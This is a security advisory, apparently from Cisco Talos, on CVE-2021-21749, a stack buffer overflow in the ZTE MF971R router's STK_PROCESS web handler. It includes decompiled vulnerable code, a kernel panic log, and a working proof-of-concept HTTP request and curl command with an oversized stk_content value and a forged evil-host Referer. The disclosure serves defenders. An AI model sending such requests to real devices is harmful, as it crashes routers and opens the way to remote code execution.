CVE-2021-21749
An exploitable Stack Based Buffer Overflow vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a stack-based buffer overflow and leads to remote code execution. An attacker needs to provide a URL to the victim to trigger the vulnerability.
ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb
https://www.ztedevices.com/pl/product/zte-mf971r/
8.3 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
MF971R its a portable router with WIFI support and LTE/GSM modem.
This vulnerability is present in STK_PROCESS
API related code, which is a part of the ZTE MF971R web application
A specially-crafted URL sent by an attacker and visited by a victim can lead to a stack-based buffer overflow and can result in remote code execution.
A stk_content
parameter that is part of STK_PROCESS
API is not properly sanitized in a context of its length.
Let us take a closer look at the vulnerable code:
Line 1 int __fastcall handler_STK_PROCESS(websRec *web, int a2)
Line 2 {
Line 3 (...)
Line 4
Line 5 if ( !strcmp(operator_param, "stk_get_input") )
Line 6 {
Line 7 stk_content = (_BYTE *)get_value_of_param(web, "stk_content", (int)&g_default_value);
Line 8 stk_encode_type = (const char *)get_value_of_param(web, "stk_encode_type", (int)&g_default_value);
Line 9 v12 = stk_encode_type;
Line 10 if ( !*stk_content || !*stk_encode_type )
Line 11 {
Line 12 zte_syslog_append(6, 438741, 227, 0, "invalid request para.", a2);
Line 13 return responseError(web, "failure");
Line 14 }
Line 15 if ( zte_nvconfig_write("stk_write_flag", "9", 1) != 1 )
Line 16 {
Line 17 zte_syslog_append(6, 438741, 234, 0, "write nv [%s] fail.", "stk_write_flag");
Line 18 return responseError(web, "failure");
Line 19 }
Line 20 v13 = atoi(v12);
Line 21 zte_get_input_stk_mc((int)stk_content, v13);
Following further stk_content
parameters, we land inside the zte_get_input_stk_mc
function of libztestk.so
library:
Line 22 int __fastcall zte_get_input_stk_mc(const char *stk_content, int stk_encode_type)
Line 23 {
Line 24 size_t stk_content_len; // r0
Line 25 int v5; // r0
Line 26 const char *v6; // r1
Line 27 int v7; // r2
Line 28 const char *v8; // r3
Line 29 _DWORD out_buffer[131]; // [sp+8h] [bp-628h] BYREF
Line 30 _WORD v11[526]; // [sp+214h] [bp-41Ch] BYREF
Line 31
Line 32 zte_syslog_append(6, "src/libzte_stk.c", 221, 40, "the zte_get_input_stk_mc start \n");
Line 33 memset(v11, 0, 0x40Cu);
Line 34 memset(out_buffer, 0, sizeof(out_buffer));
Line 35 v11[0] = 8452;
Line 36 v11[3] = 14;
Line 37 v11[2] = 41;
Line 38 out_buffer[0] = 5;
Line 39 stk_content_len = strlen(stk_content);
Line 40 memcpy(&out_buffer[2], stk_content, stk_content_len);
As we can see in line 40
there is a memcpy
operation performed on the stk_content
buffer, which is fully controlled by the attacker.
The stk_content
content will be copied to out_buffer
local buffer which can maximaly contain around 4*131 bytes.
To exploit this fully remotely, a victim needs to be logged-in to a web panel to be affected by this vulnerability. An attacker also needs to leverage existing XSS vulnerabilities to obtain RD parameter
and calculate the proper AD
value, as well as use the referer bypass described in TALOS-2021-1317. An attacker who has access to the webpanel can of course exploit this directly without needing any extra vulnerabilities or a victim user.
This remote post-auth stack-based buffer overflow gives full control to an attacker on overwrite return address and can be turned into arbitrary remote code execution.
[ 255.847869] Kernel panic - not syncing: Fatal sig=11 on 'zte_topsw_goahe' pid=864
[ 255.847869]
[ 255.856903] CPU: 0 PID: 864 Comm: zte_topsw_goahe Tainted: P 3.10.33 #1
[ 255.864654] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[ 255.873260] [<c001d338>] (show_stack+0x10/0x14) from [<c002d750>] (panic+0xfc/0x260)
[ 255.881103] [<c002d750>] (panic+0xfc/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[ 255.890045] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[ 255.899444] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[ 255.908111] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[ 255.916778] EMMD: ready to perform memory dump
[ 255.921264] ======== dump PCSR for cpu0 ========
[ 255.925933] PCSR of cpu0 is 0xc0027880
[ 255.929718] PCSR of cpu0 is 0xc00278b0
[ 255.933502] PCSR of cpu0 is 0xc00278b0
[ 255.937316] PCSR of cpu0 is 0xc00278b0
[ 255.941101] PCSR of cpu0 is 0xc00278b0
[ 255.944885] PCSR of cpu0 is 0xc00278b0
[ 255.948699] PCSR of cpu0 is 0xc00278b0
[ 255.952484] PCSR of cpu0 is 0xc00278b0
[ 255.956634] Loading crashdump kernel...
[ 255.960510]
[ 255.962036] current proc: 864 zte_topsw_goahe
[ 255.966430] -----------------------------------------------------------------------------------
[ 255.975158] pid uTime sTime exec(ns) stat cpu task_struct
[ 255.982604] -----------------------------------------------------------------------------------
[ 255.991455] 864 147 122 255846343993 R(0) 0 c5551200 zte_topsw_goahe
[ 256.000061] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[ 256.008697] [<c001d338>] (show_stack+0x10/0x14) from [<c04e4864>] (dump_task_info+0x104/0x14c)
[ 256.017395] [<c04e4864>] (dump_task_info+0x104/0x14c) from [<c006fdec>] (panic_flush+0xbc/0x178)
[ 256.026275] [<c006fdec>] (panic_flush+0xbc/0x178) from [<c00701f0>] (crash_kexec+0x10/0xa0)
[ 256.034698] [<c00701f0>] (crash_kexec+0x10/0xa0) from [<c002d76c>] (panic+0x118/0x260)
[ 256.042694] [<c002d76c>] (panic+0x118/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[ 256.051757] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[ 256.061126] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[ 256.069824] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[ 256.078552] -----------------------------------------------------------------------------------
[ 256.435516] KERNEL-TEXT-CRC: orig/panic = 0x74c2/0x4493
[ 256.440765] RAMDUMP STARTED
[ 256.443603] RAMDUMP pa=0xe00400, signature 0x41434452 placed on va=0xc0e00400
[ 256.450805] RAMDUMP DONE
[ 256.453369] EMMD: done
[ 256.455749]
[ 256.455749] ---
[ 256.455749] [KR] Panic in zte_topsw_goahe: Fatal sig=11 on 'zte_topsw_goahe' pid=864
[ 256.455749] !Bad Kernel CRC!
[ 256.455749] ---
[ 256.455749]
[ 256.472961] Rebooting in 3 seconds..
[ 259.492675] do not hold CP in do_wdt_restart!!!
[ 259.497436] Reboot failed -- System halted
Remebmer to update your router IP and calculated proper AD value.
Request
GET /goform/goform_set_cmd_process?goformId=STK_PROCESS&operator=stk_get_input&stk_encode_type=11223344&stk_content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AD=6aa5045b0468528617749a7f22ef35d6 HTTP/1.1
Host: 192.168.2.1
User-Agent: curl/7.55.1
Accept: */*
Referer: http://evil.localdomain.com/127.0.0.1.html
or
curl -v -i --referer http://evil.localdomain.com/127.0.0.1.html "http://192.168.2.1/goform/goform_set_cmd_process?goformId=STK_PROCESS&operator=stk_get_input&stk_encode_type=11223344&stk_content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AD=6aa5045b0468528617749a7f22ef35d6"
2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched
2021-10-18 - Public release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.